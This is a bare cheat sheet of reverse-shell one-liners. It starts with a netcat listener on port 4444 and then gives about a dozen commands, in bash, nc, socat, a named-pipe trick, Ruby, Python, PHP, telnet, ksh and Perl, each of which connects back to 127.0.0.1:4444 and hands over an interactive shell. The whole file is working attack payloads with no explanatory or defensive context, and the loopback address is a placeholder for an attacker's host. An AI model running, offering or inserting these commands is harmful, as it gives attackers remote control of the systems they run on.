nc -nvlp 4444

bash -i >& /dev/tcp/127.0.0.1/4444 0>&1

nc -e /bin/sh 127.0.0.1 4444

0<&196;exec 196<>/dev/tcp/127.0.0.1/4444; sh <&196 >&196 2>&196

socat tcp-connect:127.0.0.1:4444 exec:sh,pty,stderr,setsid,sigint,sane

touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 4444 > /tmp/f

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("127.0.0.1","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php -r '$sock=fsockopen("127.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

TF=$(mktemp -u); mkfifo $TF && telnet 127.0.0.1 4444 0<$TF | /bin/sh 1>$TF

ksh -c 'ksh -i > /dev/tcp/127.0.0.1/4444 2>&1 0>&1'

perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"127.0.0.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'